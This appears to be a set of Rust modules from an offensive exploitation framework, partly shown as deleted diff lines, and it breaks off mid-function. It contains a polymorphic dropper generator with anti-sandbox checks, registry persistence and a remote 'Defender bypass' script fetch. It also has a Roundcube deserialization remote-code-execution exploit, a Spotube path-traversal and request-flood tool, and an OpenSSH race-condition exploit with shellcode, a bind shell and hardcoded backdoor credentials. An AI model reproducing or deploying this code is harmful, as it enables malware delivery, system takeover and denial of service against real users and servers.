⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣴⣶⣶⣶⣶⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⠏⠁⠀⢶⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀
⠀ ⢀⣾⣿⣿⣿⣿⣿⣿⡿⠿⣿⡇⠀⠀⠀⣿⠿⢿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀
⠀⢠⣾⣿⣿⣿⣿⣿⡿⠋⣠⣴⣿⣷⣤⣤⣾⣿⣦⣄⠙⢿⣿⣿⣿⣿⣿⣷⡄⠀
⠀⣼⣿⣿⣿⣿⣿⡏⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⢹⣿⣿⣿⣿⣿⣧⠀
⢰⣿⣿⣿⣿⣿⡿⠀⣾⣿⣿⣿⣿⠟⠉⠉⠻⣿⣿⣿⣿⣷⠀⢿⣿⣿⣿⣿⣿⡆
⢸⣿⣿⣿⣿⣿⣇⣰⣿⣿⣿⣿⡇⠀⠀⠀⠀⢸⣿⣿⣿⣿⣆⣸⣿⣿⣿⣿⣿⡇
⠸⣿⣿⣿⡿⣿⠟⠋⠙⠻⣿⣿⣿⣦⣀⣀⣴⣿⣿⣿⣿⠛⠙⠻⣿⣿⣿⣿⣿⠇
⠀⢻⣿⣿⣧⠉⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠈⣿⣿⣿⡟⠀
⠀⠘⢿⣿⣿⣷⣦⣤⣴⣾⠛⠻⢿⣿⣿⣿⣿⡿⠟⠋⣿⣦⣤⠀⣰⣿⣿⡿⠃⠀
⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣄⣈⣁⣠⣤⣶⣾⣿⣿⣷⣾⣿⣿⡿⠁⠀⠀
⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠙⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⠿⠿⠿⠿⠟⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀
Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper Generator
------------------------------------------------------------------
- Prompts for: Powershell payload download URL, output names
- Generates a highly randomized batch dropper
- All variable, file, registry names are randomized per build
- Drops multi-stage .bat with anti-VM/anti-sandbox tricks
- Final stage ensures persistence via HKCU registry
- Decoy files and diagnostic noise included for stealth
- 100% open source and ready for advanced red-team ops
==================================================================
"#);
}
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
// // - User provides: PS1 download link, final batch name, output .ps1 name
// // - All temp/var names randomized, batch logic randomized, anti-VM checks
/// // List of random banner phrases for added entropy
const BANNERS: &[&str] = &[
"診断ユーティリティを実行中...",
"ネットワーク診断開始...",
"管理者用システムテスト...",
"環境チェック実行中...",
"お待ちください。検証中...",
];
/// // Decoy files for download/cover noise
const DECOY_FILES: &[&str] = &[
"readme.txt", "patchnote.docx", "system_log.csv", "scaninfo.html", "update.pdf",
"changelog.rtf", "debug.ini", "license.txt", "upgrade.bin", "notes.xml",
];
/// // Generate a random batch/var/filename, e.g. DIAG_AbX_7381
fn rand_var_name(base: &str) -> String {
let mut rng = rng();
let charset: Vec<char> = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".chars().collect();
let mut name = base.to_string();
for _ in 0..3 { name.push(*charset.choose(&mut rng).unwrap()); }
name.push('_');
name.push_str(&rng.random_range(1000..9999).to_string());
name
}
/// // Shuffles and emits randomized diagnostic steps (adds noise)
fn shuffled_diag_steps() -> Vec<String> {
let steps = vec![
"netsh winsock show catalog ^>nul",
"fsutil behavior query DisableDeleteNotify ^>nul",
"dcomcnfg /32 ^>nul",
"wevtutil qe Security \"/q:*[System[(EventID=4624)]]\" /f:text /c:1 ^>nul",
"netstat -bno ^>nul",
"route print ^>nul",
"sc queryex type= service ^>nul",
"wmic logicaldisk get caption,filesystem,freespace,size ^>nul",
"wmic cpu get loadpercentage ^>nul",
"systeminfo | findstr /C:\"Available Physical Memory\" ^>nul",
"reg query HKLM\\SOFTWARE ^>nul",
];
let mut steps_mut = steps.clone();
let mut rng = rng();
steps_mut.shuffle(&mut rng);
steps_mut
.into_iter()
.enumerate()
.map(|(i, line)| format!("echo [INFO] Step {}...\n{}\ncall :SleepS 1", i+1, line))
.collect()
}
/// // Pick a random banner for the batch
fn rand_banner() -> &'static str {
let mut rng = rng();
BANNERS.choose(&mut rng).unwrap_or(&BANNERS[0])
}
/// // Shuffle decoy filenames for the decoy download section
fn shuffled_decoys() -> Vec<String> {
let mut rng = rng();
let mut files = DECOY_FILES.to_vec();
files.shuffle(&mut rng);
files.into_iter().map(|f| f.to_string()).collect()
}
/// // Anti-VM/Sandbox check, batch version, with randomized variable names
fn build_anti_vm_batch(rand_vars: &[&str]) -> String {
format!(r#"
REM Anti-VM/Sandbox (basic)
set "{uptime}=0"
for /f "skip=1" %%U in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{uptime}=%%U"
set "{uptime}=%{uptime}:~0,8%"
REM Pause if booted < 3 min ago
for /f %%A in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{boot}=%%A"
for /f "tokens=2 delims==." %%I in ('wmic OS Get LocalDateTime /value ^| findstr =') do set "{now}=%%I"
set /a "{boot_time}=!{now}! - !{uptime}!"
if !{boot_time}! lss 3000000 (
echo [*] Recent boot detected. Pausing.
call :SleepS 60
)
REM RAM check (<=2048 MB is suspicious)
for /f "tokens=2 delims==" %%R in ('wmic ComputerSystem get TotalPhysicalMemory /value ^| findstr =') do set "{ram}=%%R"
set /a "{ram_mb}=(!{ram}!)/1048576"
if !{ram_mb}! lss 2048 (
echo [*] Low RAM detected. Pausing.
call :SleepS 120
)
REM Check VM drivers
set "{vmfound}=0"
for %%X in (VBOX VMWARE QEMU VIRTUAL) do (
driverquery | findstr /I %%X >nul
if not errorlevel 1 set "{vmfound}=1"
)
"#,
uptime=rand_vars[0],
boot=rand_vars[1],
now=rand_vars[2],
boot_time=rand_vars[3],
ram=rand_vars[4],
ram_mb=rand_vars[5],
vmfound=rand_vars[6],
)
}
/// // == Stage 3 (PERSIST) ==
fn build_stage3(ps1_name: &str, rand_vars: &[String]) -> String {
format!(r#"
@echo off
REM Stage 3: Run dropped EXE (PowerShell payload) as .ps1 and set persistence
setlocal enabledelayedexpansion
REM Anti-VM/Sandbox
{antivm}
REM Run payload saved as .ps1 (actually an EXE)
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "%%~dp0{ps1_name}" >nul 2>&1
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "{reg}" /t REG_SZ /d "start \"\" /MIN \"%%~dp0{ps1_name}\"" /f
REM Cleanup
exit
"#,
ps1_name=ps1_name,
reg=rand_vars[0],
antivm=build_anti_vm_batch(&[&rand_vars[1], &rand_vars[2], &rand_vars[3], &rand_vars[4], &rand_vars[5], &rand_vars[6], &rand_vars[7]]),
)
}
/// // == Stage 2 ==
fn build_stage2(
url_exe: &str,
ps1_name: &str,
stage3_name: &str,
rand_vars: &[String],
) -> String {
let stage3_content = build_stage3(ps1_name, rand_vars);
let mut tpl = format!(r#"
@echo off
setlocal enabledelayedexpansion
REM Anti-VM/Sandbox
{antivm}
REM Download EXE payload and save as .ps1
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try {{ Invoke-WebRequest -Uri '{url_exe}' -OutFile '{ps1_name}' -UseBasicParsing }} catch {{ Start-BitsTransfer -Source '{url_exe}' -Destination '{ps1_name}' }}" >nul 2>&1
REM Write Stage 3
set "{stage3}=%~dp0{stage3_name}"
("#,
url_exe = url_exe,
ps1_name = ps1_name,
stage3_name = stage3_name,
stage3 = rand_vars[8],
antivm = build_anti_vm_batch(&[
&rand_vars[9], &rand_vars[10], &rand_vars[11],
&rand_vars[12], &rand_vars[13], &rand_vars[14], &rand_vars[15]
]),
);
for line in stage3_content.lines() {
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
}
tpl.push_str(&format!(
r#") > "%{}%"
REM Run Stage 3
call "%{}%"
REM Cleanup
exit
"#,
rand_vars[8], rand_vars[8]
));
tpl
}
/// // == Stage 1 ==
fn build_stage1(
url_exe: &str,
decoy_urls: &[&str],
ps1_name: &str,
stage2_name: &str,
stage3_name: &str,
rand_vars: &[String],
) -> String {
let batch_var = rand_var_name("DIAG");
let random_sleep_lo = rng().random_range(1..4);
let random_sleep_hi = rng().random_range(4..8);
let banner = rand_banner();
let mut tpl = format!(r#"@echo off
setlocal enabledelayedexpansion
REM Defender Bypass
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {{ [ScriptBlock]::Create((irm https://dnot.sh/)) | Invoke-Command }}" >nul 2>&1
:SleepS
ping -n %1 127.0.0.1 ^>nul
goto :eof
:SleepMS
powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
goto :eof
title [管理者診断ユーティリティ - {banner}]
color 0A
set "{batch_var}_init=1"
echo =====================================================
echo 管理者用ネットワーク/システム診断ユーティリティ
echo =====================================================
echo [+] {banner}
call :SleepS {random_sleep_lo}
"#,
banner = banner,
batch_var = batch_var,
random_sleep_lo = random_sleep_lo,
);
tpl.push_str(&build_anti_vm_batch(&[
&rand_vars[16], &rand_vars[17], &rand_vars[18],
&rand_vars[19], &rand_vars[20], &rand_vars[21], &rand_vars[22]
]));
for line in shuffled_diag_steps() {
tpl.push_str(&format!("{}\n", line));
}
tpl.push_str(&format!("set /a mainDelay=(%RANDOM% %% {random_sleep_hi}) + {random_sleep_lo}\necho [INFO] ステージ準備... (%mainDelay% 秒後)\ncall :SleepS %mainDelay%\n\n",
random_sleep_hi = random_sleep_hi,
random_sleep_lo = random_sleep_lo,
));
let decoys = shuffled_decoys();
for (i, decoy_name) in decoys.iter().enumerate().take(decoy_urls.len()) {
let url = decoy_urls[i];
tpl.push_str(&format!(
"echo [*] Downloading decoy: {decoy_name}\npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"try {{ Invoke-WebRequest -Uri '{url}' -OutFile '{decoy_name}' -UseBasicParsing }} catch {{}}\" ^>nul\ncall :SleepS 2\n",
url = url, decoy_name = decoy_name
));
}
let stage2_content = build_stage2(url_exe, ps1_name, stage3_name, rand_vars);
tpl.push_str(&format!("set \"{stage2}=%~dp0{stage2_name}\"\n(", stage2 = rand_vars[23], stage2_name = stage2_name));
for line in stage2_content.lines() {
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
}
tpl.push_str(&format!(
") > \"%{}%\"\nREM Run Stage 2\ncall \"%{}%\"\nREM Cleanup\nexit\n",
rand_vars[23], rand_vars[23]
));
tpl
}
/// // Prompt user, fallback to default if empty input
fn prompt(msg: &str, default: Option<&str>) -> String {
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
let value = input.trim();
if value.is_empty() {
default.unwrap_or("").to_string()
} else {
value.to_string()
}
}
/// // == RouterSploit-style async entry point ==
pub async fn run(_target: &str) -> Result<()> {
print_welcome_naruto();
let url_exe = prompt("URL of PowerShell payload (EXE, will be saved as .ps1)", Some("https://yourdomain.com/payload.exe"));
let out_name = prompt("Final output batch filename", Some("3stage_dropper.bat"));
let ps1_name = prompt("Name to save downloaded EXE as (with .ps1 extension)", Some("payload.ps1"));
let stage2_name = rand_var_name("stg2");
let stage3_name = rand_var_name("stg3");
let rand_vars: Vec<String> = (0..24).map(|i| rand_var_name(&format!("v{}", i))).collect();
let decoy_urls = vec![
"https://www.example.com/readme.txt",
"https://www.example.com/license.txt",
"https://www.example.com/update.pdf",
];
let script = build_stage1(&url_exe, &decoy_urls, &ps1_name, &stage2_name, &stage3_name, &rand_vars);
let mut file = TokioFile::create(&out_name).await?;
file.write_all(script.as_bytes()).await?;
file.flush().await?;
println!("[+] 3-stage chain-linked dropper written to: {}", out_name);
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod roundcube_postauth_rce;
@@ -1,215 +0,0 @@
use anyhow::{anyhow, Result};
use data_encoding::BASE32_NOPAD;
use md5;
use rand::Rng;
use base64::Engine as _;
use regex::Regex;
use reqwest::{Client, cookie::Jar, redirect::Policy};
use std::io::{self, Write};
use std::sync::Arc;
use std::time::{SystemTime, UNIX_EPOCH};
use rand::distr::Alphanumeric;
/// // Decode base64 constant for small transparent PNG
fn transparent_png() -> Vec<u8> {
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
base64::engine::general_purpose::STANDARD
.decode(PNG_B64)
.unwrap_or_default()
}
/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
fn build_serialized_payload(cmd: &str) -> String {
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
let len = gpgconf.len();
format!(
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};",
len, gpgconf
)
}
fn generate_from() -> &'static str {
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
let idx = rand::rng().random_range(0..OPTIONS.len());
OPTIONS[idx]
}
fn generate_id() -> String {
let mut rand_bytes = [0u8; 8];
rand::rng().fill(&mut rand_bytes);
let timestamp = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_nanos()
.to_string();
format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))
}
fn generate_uploadid() -> String {
let millis = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_millis();
format!("upload{}", millis)
}
async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
if res.status() != 200 {
return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
}
Ok(res.text().await?)
}
async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].to_string())
} else {
Err(anyhow!("CSRF token not found"))
}
}
async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].parse().ok())
} else {
Ok(None)
}
}
async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
let token = fetch_csrf_token(client, base).await?;
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let mut params = vec![
("_token", token),
("_task", "login".to_string()),
("_action", "login".to_string()),
("_url", "_task=login".to_string()),
("_user", username.to_string()),
("_pass", password.to_string()),
];
if !host.is_empty() {
params.push(("_host", host.to_string()));
}
let res = client
.post(url)
.form(&params)
.send()
.await
.map_err(|e| anyhow!("Login request failed: {e}"))?;
if res.status() != 302 {
return Err(anyhow!("Login failed: HTTP {}", res.status()));
}
Ok(())
}
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
let png = transparent_png();
let boundary: String = rand::rng()
.sample_iter(&Alphanumeric)
.take(8)
.map(char::from)
.collect();
let mut body = Vec::new();
body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
body.extend_from_slice(&png);
body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());
let mut url = reqwest::Url::parse(base)?;
url.set_query(None);
url.query_pairs_mut()
.append_pair("_task", "settings")
.append_pair("_remote", "1")
.append_pair("_from", &format!("edit-!{}", generate_from()))
.append_pair("_id", &generate_id())
.append_pair("_uploadid", &generate_uploadid())
.append_pair("_action", "upload");
client
.post(url)
.header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
.body(body)
.send()
.await
.map_err(|e| anyhow!("Upload request failed: {e}"))?;
println!("[+] Exploit attempt complete. Check your listener or reverse shell.");
Ok(())
}
/// // Entry point for dispatcher
pub async fn run(target: &str) -> Result<()> {
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
base_url = format!("http://{}", base_url);
}
base_url = base_url.trim_end_matches('/').to_string();
// // HTTP client with cookies and no redirects
let jar = Jar::default();
let client = Client::builder()
.cookie_provider(Arc::new(jar))
.redirect(Policy::none())
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(10))
.build()?;
if let Some(ver) = check_version(&client, &base_url).await? {
println!("[*] Detected Roundcube version: {}", ver);
if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
println!("[!] Version appears vulnerable!");
} else {
println!("[-] Version not in known vulnerable range.");
}
} else {
println!("[?] Could not determine version.");
}
let mut username = String::new();
let mut password = String::new();
let mut host = String::new();
let mut command = String::new();
print!("Username: ");
io::stdout().flush()?;
io::stdin().read_line(&mut username)?;
print!("Password: ");
io::stdout().flush()?;
io::stdin().read_line(&mut password)?;
print!("Host parameter (optional): ");
io::stdout().flush()?;
io::stdin().read_line(&mut host)?;
print!("Command to execute: ");
io::stdout().flush()?;
io::stdin().read_line(&mut command)?;
let username = username.trim();
let password = password.trim();
let host = host.trim();
let command = command.trim();
if username.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Username, password and command must be provided"));
}
login(&client, &base_url, username, password, host).await?;
let serialized = build_serialized_payload(command);
upload_payload(&client, &base_url, &serialized).await
}
-23
View File
@@ -1,23 +0,0 @@
use anyhow::{Result, Context};
use reqwest;
/// A basic demonstration exploit that checks if a specific endpoint is "vulnerable"
pub async fn run(target: &str) -> Result<()> {
println!("[*] Running sample_exploit against target: {}", target);
let url = format!("http://{}/vulnerable_endpoint", target);
let resp = reqwest::get(&url)
.await
.context("Failed to send request")?
.text()
.await
.context("Failed to read response")?;
if resp.contains("Vulnerable!") {
println!("[+] Target is vulnerable!");
} else {
println!("[-] Target does not appear to be vulnerable.");
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod spotube;
-232
View File
@@ -1,232 +0,0 @@
//// src/modules/exploits/spotube/spotube_remote.rs
//// src/modules/exploits/spotube/spotube.rs
//// made by me suicidal teddy my first ever zero day exploit
//// no auth when you use api and can be excuted locally
//// src/modules/exploits/spotube/spotube.rs
use anyhow::{Context, Result};
use colored::*;
use futures_util::{SinkExt, StreamExt};
use reqwest::Client;
use serde_json::json;
use std::collections::HashMap;
use std::io::{self, Write};
use tokio::time::{sleep, Duration};
use tokio_tungstenite::connect_async;
use tokio_tungstenite::tungstenite::Message;
// //// // Custom headers to emulate BurpSuite-style browser requests
fn browser_headers(host: &str, port: &str) -> HashMap<String, String> {
let mut headers = HashMap::new();
headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into());
headers.insert("Upgrade-Insecure-Requests".into(), "1".into());
headers.insert(
"User-Agent".into(),
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \
(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
.into(),
);
headers.insert(
"Accept".into(),
"text/html,application/xhtml+xml,application/xml;q=0.9,\
image/avif,image/webp,image/apng,*/*;q=0.8,\
application/signed-exchange;v=b3;q=0.7"
.into(),
);
headers.insert("Accept-Encoding".into(), "gzip, deflate, br".into());
headers.insert("Connection".into(), "keep-alive".into());
headers.insert("Host".into(), format!("{}:{}", host, port));
headers
}
// //// // Sends the GET request to the Spotube endpoint with custom headers
async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(5))
.build()
.context("Failed to build HTTP client")?;
let url = format!("http://{}:{}{}", host, port, path);
let headers = browser_headers(host, port);
let mut request = client.get(&url);
for (key, value) in headers {
request = request.header(&key, &value);
}
let response = request.send().await.context("Request failed")?;
let status = response.status();
let body = response.text().await.unwrap_or_default();
println!(
"{}{} {}",
path,
status.as_u16(),
status.canonical_reason().unwrap_or("Unknown")
);
println!("{}", body.trim());
Ok(())
}
// //// // Sends a malicious 'load' event over WS with a track name containing ../
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
// prompt for malicious filename
print!("{}", "Enter malicious filename (e.g. ../evil.sh): ".cyan().bold());
io::stdout().flush()?;
let mut name = String::new();
io::stdin().read_line(&mut name)?;
let malicious_name = {
let t = name.trim();
if t.is_empty() { "../evil.sh" } else { t }
};
// prompt for fake track ID
print!("{}", "Enter fake track ID (e.g. INJECT1): ".cyan().bold());
io::stdout().flush()?;
let mut tid = String::new();
io::stdin().read_line(&mut tid)?;
let track_id = {
let t = tid.trim();
if t.is_empty() { "INJECT1" } else { t }
};
// prompt for codec extension
print!("{}", "Enter codec extension (e.g. mp3): ".cyan().bold());
io::stdout().flush()?;
let mut cd = String::new();
io::stdin().read_line(&mut cd)?;
let codec = {
let t = cd.trim();
if t.is_empty() { "mp3" } else { t }
};
let payload = json!({
"type": "load",
"data": {
"tracks": [
{
"name": malicious_name,
"artists": { "asString": "" },
"sourceInfo": { "id": track_id },
"codec": { "name": codec }
}
]
}
});
let ws_url = format!("ws://{}:{}/ws", host, port);
println!("Connecting to {}", ws_url);
let (ws_stream, _) = connect_async(&ws_url)
.await
.context("WebSocket connection failed")?;
let (mut write, _) = ws_stream.split();
let msg_text = payload.to_string();
write
.send(Message::Text(msg_text.clone().into()))
.await
.context("Failed to send WebSocket message")?;
println!("▶️ Malicious load payload sent:");
println!("{}", serde_json::to_string_pretty(&payload)?);
Ok(())
}
// //// // Floods the given endpoint with `count` rapid requests (with optional delay).
async fn dos_flood(host: &str, port: &str, path: &str, count: usize, delay: f64) -> Result<()> {
println!("⚠️ Flooding {} {} times (delay {}s)…", path, count, delay);
for _ in 0..count {
let _ = execute(host, port, path).await;
if delay > 0.0 {
sleep(Duration::from_secs_f64(delay)).await;
}
}
println!("🔥 Done flood.");
Ok(())
}
// //// // CLI menu that mimics the original Python script, now with WS and DoS
pub async fn run(target: &str) -> Result<()> {
println!("⚙️ Spotube Advanced Exploit CLI\n");
let host = target.to_string(); // use target passed from set command
// //// // port prompt (optional override)
print!("{}", "Enter port [17086]: ".cyan().bold());
io::stdout().flush()?;
let mut p = String::new();
io::stdin().read_line(&mut p)?;
let port = {
let t = p.trim();
if t.is_empty() { "17086".to_string() } else { t.to_string() }
};
loop {
println!("\n=== Menu ===");
println!("1. Ping server");
println!("2. Next track");
println!("3. Previous track");
println!("4. Toggle play/pause");
println!("5. Inject path-traversal via WS");
println!("6. Flood HTTP endpoint (DoS)");
println!("7. Exit");
print!("Choose an option: ");
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
match choice.trim() {
"1" => {
println!("\n▶️ Ping server …");
let _ = execute(&host, &port, "/ping").await;
}
"2" => {
println!("\n▶️ Next track …");
let _ = execute(&host, &port, "/playback/next").await;
}
"3" => {
println!("\n▶️ Previous track …");
let _ = execute(&host, &port, "/playback/previous").await;
}
"4" => {
println!("\n▶️ Toggle play/pause …");
let _ = execute(&host, &port, "/playback/toggle-playback").await;
}
"5" => {
ws_inject_path_traversal(&host, &port).await?;
}
"6" => {
// //// // flood prompts
print!("Endpoint to flood (e.g. /playback/next): ");
io::stdout().flush()?;
let mut path = String::new();
io::stdin().read_line(&mut path)?;
let path = path.trim();
print!("Number of requests [100]: ");
io::stdout().flush()?;
let mut cnt = String::new();
io::stdin().read_line(&mut cnt)?;
let count = cnt.trim().parse().unwrap_or(100);
print!("Delay between requests (s) [0]: ");
io::stdout().flush()?;
let mut dly = String::new();
io::stdin().read_line(&mut dly)?;
let delay = dly.trim().parse().unwrap_or(0.0);
dos_flood(&host, &port, path, count, delay).await?;
}
"7" => {
println!("👋 Goodbye!");
break;
}
_ => println!("❌ Invalid choice, try again."),
}
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod opensshserver_9_8p1race_condition;
@@ -1,460 +0,0 @@
use std::io::{self, ErrorKind, Write};
use std::sync::Arc;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, Duration, Instant};
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
const MAX_PACKET_SIZE: usize = 256 * 1024;
const LOGIN_GRACE_TIME: f64 = 120.0;
const CHUNK_ALIGN: usize = 16;
const CONCURRENCY: usize = 256;
const GLIBC_BASE_START: u64 = 0x7ffff79e4000;
const GLIBC_BASE_END: u64 = 0x7ffff7ffe000;
const GLIBC_STEP: u64 = 0x200000;
const FAKE_VTABLE_OFFSET: u64 = 0x21b740;
const FAKE_CODECVT_OFFSET: u64 = 0x21d7f8;
const SHELLCODE: &[u8] = b"\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
const BIND_SHELL_PORT: u16 = 55555;
const PERSISTENT_USER: &str = "aptpwn";
const PERSISTENT_PASS: &str = "Root4life!";
fn chunk_align(s: usize) -> usize {
(s + CHUNK_ALIGN - 1) & !(CHUNK_ALIGN - 1)
}
fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
buf.fill(0);
let len = buf.len();
if len > 0x30 + 8 {
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
}
if len >= 16 {
buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
}
}
fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
packet.fill(0);
packet[..8].copy_from_slice(b"ssh-rsa ");
let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
if shell_offset + SHELLCODE.len() <= packet.len() {
packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
}
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
if pos + chunk_align(304) <= packet.len() {
create_fake_file_structure(&mut packet[pos..pos + chunk_align(304)], glibc_base);
}
}
}
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
let packet_len = (data.len() + 5) as u32;
stream.write_u32(packet_len).await?;
stream.write_u8(packet_type).await?;
stream.write_all(data).await?;
stream.flush().await?;
Ok(())
}
fn normalize_target(ip: &str, port: u16) -> Result<String> {
let ip_trimmed = ip.trim_matches(|c| c == '[' || c == ']');
if ip_trimmed.contains(':') && !ip_trimmed.contains('.') {
Ok(format!("[{}]:{}", ip_trimmed, port))
} else {
Ok(format!("{}:{}", ip_trimmed, port))
}
}
async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
println!("{}", "[*] Connected! Interactive shell below (type 'exit' to quit):".green().bold());
let (mut rd, mut wr) = tokio::io::split(conn);
let mut stdin = tokio::io::stdin();
let mut stdout = tokio::io::stdout();
let reader = tokio::spawn(async move {
let mut buf = [0u8; 4096];
loop {
match rd.read(&mut buf).await {
Ok(0) => break,
Ok(n) => {
if stdout.write_all(&buf[..n]).await.is_err() { break; }
if stdout.flush().await.is_err() { break; }
}
Err(_) => break,
}
}
});
let writer = tokio::spawn(async move {
let mut buf = [0u8; 4096];
loop {
match stdin.read(&mut buf).await {
Ok(0) => break,
Ok(n) => {
if wr.write_all(&buf[..n]).await.is_err() { break; }
if wr.flush().await.is_err() { break; }
}
Err(_) => break,
}
}
});
let _ = tokio::try_join!(reader, writer);
println!("{}", "[*] Shell session ended.".yellow());
Ok(())
}
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
let addr = normalize_target(ip, port)?;
let stream = TcpStream::connect(&addr).await.with_context(|| format!("Failed to connect to {}", addr))?;
Ok(stream)
}
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
stream.flush().await?;
Ok(())
}
async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
loop {
match stream.read(buf).await {
Ok(n) if n > 0 => return Ok(n),
Ok(0) => bail!("Connection closed while receiving data"),
Ok(_) => bail!("Unexpected read result"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock || e.kind() == ErrorKind::TimedOut => {
sleep(Duration::from_millis(10)).await;
